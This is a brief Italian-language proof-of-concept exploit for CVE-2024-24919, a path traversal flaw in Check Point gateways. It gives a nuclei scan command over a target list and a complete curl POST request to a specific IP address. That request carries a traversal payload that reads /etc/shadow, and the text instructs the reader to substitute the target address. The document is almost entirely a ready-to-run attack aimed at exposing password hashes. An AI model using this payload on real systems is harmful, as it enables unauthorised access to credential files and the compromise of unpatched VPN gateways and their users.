
Proof-of-concept exploit per CVE-2024-24919, una vulnerabilità di path traversal in Check Point che consente la lettura arbitraria di file (ad es. /etc/shadow) tramite una richiesta HTTPS POST appositamente costruita.

nuclei -list chick.txt -t CVE-2024-24919.yaml
Sostituisci con l'indirizzo IP di destinazione, e questo comando tenterà di accedere al file /etc/shadow, che contiene gli hash delle password.
curl --path-as-is -i -s -k -X POST \ -H 'Host: 117.102.198.7 ' \ -H 'Content-Length: 39' \ -H 'Connection: keep-alive' \ --data-binary 'aCSHELL/../../../../../../../etc/shadow' \ 'https://117.102.198.7/clients/MyCRL'
